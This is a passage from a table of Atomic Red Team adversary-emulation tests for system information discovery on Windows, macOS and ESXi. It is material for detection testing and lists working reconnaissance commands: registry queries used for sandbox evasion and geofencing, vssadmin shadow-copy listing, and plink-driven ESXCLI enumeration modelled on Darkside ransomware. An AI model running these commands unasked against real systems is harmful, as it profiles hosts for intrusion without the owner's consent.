| 29 | Check computer location | windows | cmd | — | — | — | ||||||||||||||||||||||||||
Looks up country code configured in the registry, likely geofence. Upon execution, country code info will be displayed. - https://tria.ge/210111-eaz8mqhgh6/behavioral1 Attack command reg query "HKEY_CURRENT_USER\Control Panel\International\Geo" GUIDe9d8f73d-7dc8-4f7e-b6a3-ca21118f4291 | ||||||||||||||||||||||||||||||||
| 30 | BIOS Information Discovery through Registry | windows | cmd | — | — | — | ||||||||||||||||||||||||||
Looks up for BIOS information in the registry. BIOS information is often read in order to detect sandboxing environments. Upon execution, BIOS information will be displayed. - https://tria.ge/210111-eaz8mqhgh6/behavioral1 - https://evasions.checkpoint.com/techniques/registry.html Attack command reg query HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System /v SystemBiosVersion reg query HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System /v VideoBiosVersion GUID498ca23b-43ac-40f5-acd4-565afdb12fc5 | ||||||||||||||||||||||||||||||||
| 31 | ESXi - VM Discovery using ESXCLI | windows | cmd | — | 1 | — | ||||||||||||||||||||||||||
An adversary will using ESXCLI to enumerate the Virtual Machines on the host prior to executing power off routine. Reference Input arguments
Attack command echo "" | "#{plink_file}" "#{vm_host}" -ssh -l "#{vm_user}" -pw "#{vm_pass}" -m "#{cli_script}"
Prerequisite Check if plink is available. Check if (Test-Path "#{plink_file}") {exit 0} else {exit 1}
Satisfy New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe" -OutFile "#{plink_file}"
GUID1dae895e-05e5-4169-8295-28e469a4cfd9 | ||||||||||||||||||||||||||||||||
| 32 | ESXi - Darkside system information discovery | windows | cmd | — | 1 | — | ||||||||||||||||||||||||||
Darkside ransomware utilises various ESXCLI commands to obtain information about the ESXi Host. Reference Input arguments
Attack command echo "" | "#{plink_file}" "#{vm_host}" -ssh -l "#{vm_user}" -pw "#{vm_pass}" -m "#{cli_script}"
Prerequisite Check if plink is available. Check if (Test-Path "#{plink_file}") {exit 0} else {exit 1}
Satisfy New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe" -OutFile "#{plink_file}"
GUID95eda453-9d5f-41cb-a79f-04d79374f413 | ||||||||||||||||||||||||||||||||
| 33 | sysctl to gather macOS hardware info | macos | sh | — | — | — | ||||||||||||||||||||||||||
Gets the macOS hardware information, which can be used to determine whether the target macOS host is running on a physical or virtual machine. sysctl can be used to gather interesting macOS host data, including hardware information, memory size, logical cpu information, etc. Attack command sysctl -n hw.model GUIDcb994ca2-f3b6-4dc1-ac5b-3d6d7d19d5ca | ||||||||||||||||||||||||||||||||
| 34 | operating system discovery | windows | PowerShell | — | — | — | ||||||||||||||||||||||||||
operating system discovery using get-ciminstance https://petri.com/getting-operating-system-information-powershell/ Attack command Get-CimInstance Win32_OperatingSystem | Select-Object Caption, Version, ServicePackMajorVersion, OSArchitecture, CSName, WindowsDirectory | Out-null GUID8888dddc-3ae8-48db-bd5a-d9ada3d86939 | ||||||||||||||||||||||||||||||||
| 35 | Check OS version via "ver" command | windows | cmd | — | — | — | ||||||||||||||||||||||||||
Ver command shows information about os version. Attack command ver GUID3bc6ec40-2cf1-4b70-94d9-289b6fc8196c | ||||||||||||||||||||||||||||||||
| 36 | Display volume shadow copies with "vssadmin" | windows | cmd | Required | — | — | ||||||||||||||||||||||||||
The command shows all available volume shadow copies, along with their creation time and location. Attack command vssadmin.exe list shadows GUIDd9a80fbb-3e63-413d-8e3d-f885026e995b | ||||||||||||||||||||||||||||||||
| 37 | Identify System Locale and Regional Settings with PowerShell | windows | cmd | — | — | Yes | ||||||||||||||||||||||||||
This action demonstrates how an attacker might gather a system's region and language settings using PowerShell, which could aid in profiling the machine's location and user language preferences. The command outputs system locale details to a temporary file for further analysis. Attack command powershell.exe -c "Get-Culture | Format-List | Out-File -FilePath %TMP%\a.txt" Cleanup command cmd.exe /c del "%TMP%\a.txt" GUID0c9ff004-f173-45c4-a4f7-b78058a79fa0 | ||||||||||||||||||||||||||||||||
| 38 | Enumerate Available Drives via gdr | windows | cmd | — | — | — | ||||||||||||||||||||||||||
This test simulates an attacker attempting to list the available drives on the system to gather data about file storage locations. Attack command powershell.exe -c "gdr -PSProvider 'FileSystem'" GUID204b6bfd-c8ed-42ef-8452-301b23db6de4 | ||||||||||||||||||||||||||||||||
| 39 | Discover OS Product Name via Registry | windows | cmd | — | — | — | ||||||||||||||||||||||||||
Identify the Operating System Product Name via registry with the reg.exe command. Upon execution, the OS Product Name will be displayed. Attack command reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName GUIDa6ac14ad-17a5-4661-a287-b8662b4589ca | ||||||||||||||||||||||||||||||||
| 40 | Discover OS Build Number via Registry | windows | cmd | — | — | — | ||||||||||||||||||||||||||
Identify the Operating System Build Number via registry with the reg.exe command. Upon execution, the OS Build Number will be displayed. Attack command reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v CurrentBuildNumber GUIDaf3a5cbf-8590-4f5c-b27c-a39885c06bae | ||||||||||||||||||||||||||||||||
Tests from Atomic Red Team (MIT licence) · technique definition